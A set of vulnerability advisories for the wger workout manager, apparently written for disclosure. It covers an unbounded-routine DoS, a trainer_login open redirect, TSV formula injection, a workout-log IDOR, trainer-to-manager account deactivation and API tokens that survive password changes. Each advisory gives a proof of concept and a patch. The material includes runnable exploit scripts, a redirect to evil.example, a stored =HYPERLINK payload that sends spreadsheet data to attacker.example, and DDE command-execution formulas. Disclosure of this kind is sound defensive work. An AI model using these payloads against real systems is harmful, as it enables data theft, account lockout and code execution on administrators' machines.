  Baseline (30-day routine):
    Entries: 31
    Time:    0.02s

  Malicious (100-year routine):
    Entries: 36525
    Time:    3.06s

  Slowdown factor: 138.4x

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+

Impact

1. Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
2. Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
3. No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
4. Cache Bypass: The first request for each routine (or after ROUTINE_CACHE_TTL expires) always runs the full computation. An attacker can create new routines to avoid cache hits.
5. Five Affected Endpoints: date-sequence-display, date-sequence-gym, structure, logs, and stats all trigger the same unbounded loop.

Fix

1. Add maximum duration validation in the model

# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365

def clean(self):
    if self.end and self.start:
        if self.start > self.end:
            raise ValidationError('Start cannot be after end.')
        if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
            raise ValidationError(
                f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
            )

2. Add the same validation in the serializer

# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
    def validate(self, data):
        start = data.get('start')
        end = data.get('end')
        if start and end and (end - start).days > 365:
            raise serializers.ValidationError(
                'Routine cannot span more than 365 days.'
            )
        return data

3. Add a safety cap in date_sequence (defence-in-depth)

# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
    count += 1
    if count > MAX_SEQUENCE_DAYS:
        break
    ...

Summary

The trainer_login view in wger redirects to request.GET['next'] directly via HttpResponseRedirect() without calling url_has_allowed_host_and_scheme(). After the trainer successfully enters impersonation mode, their browser is redirected to any attacker-controlled URL supplied in the ?next= parameter, enabling Referer exfiltration and phishing.

Details

File: wger/core/views/user.py, approximately line 203

# VULNERABLE - wger/core/views/user.py
if not own:
    request.session['trainer.identity'] = orig_user_pk
    if request.GET.get('next'):
        return HttpResponseRedirect(request.GET['next'])   # no host/scheme validation

After the impersonation logic succeeds, the view performs no validation of the next parameter before issuing the redirect. An attacker who can deliver a crafted link (e.g. /en/user/2/trainer-login?next=https://evil.example/steal) to a trainer can redirect the trainer's browser to any external host immediately after the impersonation session is established. The Location header contains the raw attacker-controlled URL.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login (the ?next= redirect branch)

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.utils.http import url_has_allowed_host_and_scheme
+
 if not own:
     request.session['trainer.identity'] = orig_user_pk
-    if request.GET.get('next'):
-        return HttpResponseRedirect(request.GET['next'])
+    next_url = request.GET.get('next')
+    if next_url and url_has_allowed_host_and_scheme(
+        next_url, allowed_hosts={request.get_host()}, require_https=request.is_secure()
+    ):
+        return HttpResponseRedirect(next_url)
     return HttpResponseRedirect(reverse('core:index'))

Adding @require_POST to trainer_login (see also VULN-030) moves the next parameter to the POST body where CSRF protection applies and eliminates the combined CSRF + open-redirect attack surface entirely.

PoC

Tested on wger/server:latest Docker image. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Authenticate as trainer:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Trainer clicks (or is delivered) the crafted link:

GET /en/user/2/trainer-login?next=https://evil.example/steal HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 302 Found
   Location: https://evil.example/steal

Step 3 - Attacker server logs Referer:

Referer: http://target/en/user/2/trainer-login?next=https://evil.example/steal
(victim user_pk and next URL exposed)

Reproducibility: 2/2 runs.

Impact

An attacker who can deliver a crafted URL to a trainer (phishing email, malicious gym management system integration, social engineering) can redirect the trainer's browser to an attacker-controlled domain after the trainer enters impersonation mode. The redirect leaks:

• The wger URL structure (including the impersonated user's user_pk) via the browser Referer header.
• The session-rebound cookie (if the attacker page subsequently triggers an authenticated request with credentials: 'include' targeting wger, any same-site cookie without SameSite=Strict is attached).

Combined with the trainer-login scope bypass (submitted separately), this primitive allows an attacker to silently impersonate arbitrary gym=None users and then land the trainer on an attacker page for credential harvesting.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role), requires victim interaction (click), scope change (attacker's origin).

Summary

The gym member TSV export endpoint in wger writes first_name and last_name profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.

Details

File: wger/gym/views/export.py, approximately line 73

# VULNERABLE - wger/gym/views/export.py
writer.writerow([
    user.id,
    gym.name,
    user.username,
    user.email,
    user.first_name,   # written verbatim - no formula prefix sanitization
    user.last_name,    # written verbatim
    ...
])

Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their first_name to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.

Affected endpoints:

• GET /en/gym/export/users/<gym_pk> -> wger.gym.views.export (TSV download)
• Profile fields injected via profile edit endpoint (first_name/last_name)

Suggested patch:

--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+    """Prefix formula-triggering strings with a single-quote to neutralise."""
+    s = str(value) if value is not None else ''
+    if s and s[0] in FORMULA_PREFIXES:
+        return "'" + s
+    return s
+
 writer.writerow([
     user.id,
     gym.name,
     user.username,
     user.email,
-    user.first_name,
-    user.last_name,
+    sanitise_cell(user.first_name),
+    sanitise_cell(user.last_name),
     ...
 ])

Prepending ' to any cell value beginning with =, +, -, or @ is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply sanitise_cell to all exported user-supplied fields, or subclass csv.writer to apply the sanitization globally for future fields.

PoC

Tested on wger/server:latest Docker image. Test users: gym member (any registered user) and trainer1 (manage_gym permission).

Step 1 - Inject formula payload into profile (any gym member, including self-registered):

POST /en/user/<user_pk>/overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]

first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29

URL-decoded value: =HYPERLINK("http://attacker.example/x?p="&A1,"click")

Step 2 - Gym admin exports member list:

GET /en/gym/export/users/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer_session]

-> 200 OK
Content-Disposition: attachment; filename=User-data-gym-2-[date].csv

[... header row ...]
2	TestGym1	alice	alice@test.local	=HYPERLINK("http://attacker.example/x?p="&A1,"click")	...

Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:

• Formula cell renders as clickable "click" hyperlink.
• On click (or on file-open with DDE-enabled Excel): browser issues GET http://attacker.example/x?p=[cell_A1_contents].
• Attacker server receives exfiltrated spreadsheet data.

Confirmed during testing: both =cmd|calc.exe!A1 (DDE) and =HYPERLINK(attacker.com) payloads appear raw in the exported TSV response body.

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

Any gym member (including self-registered users) can inject a spreadsheet formula into their own first_name or last_name. When a gym administrator with manage_gym permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:

• Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via HYPERLINK or WEBSERVICE functions.
• Local code execution (legacy Excel with DDE enabled): payloads like =cmd|'/c calc.exe'!A1 execute arbitrary commands on the admin's workstation.
• Phishing: formulas can display admin-trusted text while silently redirecting on click.

Affected deployments: every wger instance that delegates manage_gym to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.

Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.

This is a standalone CWE-1236 vulnerability, independent of the None != None cluster of access-control findings. The fix is a small, local sanitization helper.

Cross Site Request Forgery (CSRF) vulnerability in wger Project wger Workout Manager 2.2.0a3 allows a remote attacker to gain privileges via the user-management feature in the gym/views/gym.py, templates/gym/reset_user_password.html, templates/user/overview.html, core/views/user.py, and templates/user/preferences.html, core/forms.py components.

Cross Site Scripting vulnerability in wger Project wger Workout Manager v.2.2.0a3 allows a remote attacker to gain privileges via the license_author field in the add-ingredient function in the templates/ingredients/view.html, models/ingredients.py, and views/ingredients.py components.

Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.get_owner_objects() returns:

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).

The second contributing factor is in SlotEntry.get_config_data():

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

• Two authenticated user accounts (attacker and victim)
• The attacker knows (or can enumerate) the victim's SlotEntry ID
• The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json

{
    "routine": <attacker_routine_id>,
    "slot_entry": <victim_slot_entry_id>,
    "exercise": <any_valid_exercise_id>,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": "2025-01-15",
    "iteration": 1
}

Expected: HTTP 403 (the slot_entry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}  <-- TARGET")


# ---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = api_headers(attacker_token)

r = requests.post(f"{API}/routine/", headers=ah, json={
    "name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f"    Attacker routine id={attacker_routine_id}")


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")

payload = {
    "routine": attacker_routine_id,
    "slot_entry": victim_slot_entry_id,
    "exercise": exercise_id,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": today,
    "iteration": 1,
}

print(f"\n  POST {API}/workoutlog/")
print(f"    routine    = {attacker_routine_id}  (attacker's own -> passes check)")
print(f"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!")
    print(f"    routine    = {d['routine']}  <- attacker's routine")
    print(f"    weight     = {d['weight']}")
    print(f"    reps       = {d['repetitions']}")
elif r.status_code == 403:
    print("  Access denied - NOT vulnerable (patched)")
    sys.exit(0)
else:
    print(f"  Unexpected: {r.text[:300]}")
    sys.exit(1)


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

r = requests.get(
    f"{API}/routine/{victim_routine_id}/date-sequence-display/",
    headers=vh,
)
print(f"\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f"  (as victim - this endpoint consumes the injected logs)")
print(f"  HTTP {r.status_code}")

if r.status_code == 200:
    seq = r.json()
    print(f"  Returned {len(seq)} day(s) of data")
    if seq:
        print(f"  First entry (truncated):")
        print(f"  {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f"  (The injected log is owned by attacker, so it does NOT appear")
print(f"   in victim's list view - but it IS attached to victim's SlotEntry")
print(f"   and WILL corrupt victim's progression calculations.)")

print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

Proof of Concept Output

=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[1] Authenticating users...
    Victim  (admin): token=7e34da0a3f3f00a4...
    Registering attacker account...
    Attacker (attacker_idor_poc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain...
    Routine   id=3
    Day       id=2
    Slot      id=2
    SlotEntry id=2  <-- TARGET

[3] Creating attacker's own routine...
    Attacker routine id=4

=================================================================
  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry
=================================================================

  POST http://localhost/api/v2/workoutlog/
    routine    = 4  (attacker's own -> passes check)
    slot_entry = 2  (VICTIM's -> NOT CHECKED)
    weight     = 999
    reps       = 999

  Response: HTTP 201
  Created WorkoutLog id=2
    slot_entry = 2  <- VICTIM's SlotEntry!
    routine    = 4  <- attacker's routine
    weight     = 999.00
    reps       = 999.00

=================================================================
  VERIFICATION
=================================================================

  GET /api/v2/routine/3/date-sequence-display/
  (as victim - this endpoint consumes the injected logs)
  HTTP 200
  Returned 31 day(s) of data

  Victim's own /api/v2/workoutlog/ shows 0 log(s)
  (The injected log is owned by attacker, so it does NOT appear
   in victim's list view - but it IS attached to victim's SlotEntry
   and WILL corrupt victim's progression calculations.)

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+

Impact

1. Training Data Integrity: The progressive-overload engine (get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

3. Scalable Attack: Because only a slot_entry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slot_entry to the ownership check

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

Defence-in-Depth - Filter logs by routine owner

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

• Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
• Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken_token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

• wger/wger/core/views/user.py (logout implementation)
• wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
• wger/settings/main.py (commonly used production defaults for JWT lifetimes)
• wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account.
2. Obtain a JWT refresh token:
   • POST /api/v2/token with username/password.
3. Obtain a DRF token (API key):
   • use /user/api-key (or create token via admin/DB in a test environment).
4. Change password:
   • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
5. Prove token replay:
   • Call a private endpoint using the old DRF token (should still return 200).
   • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
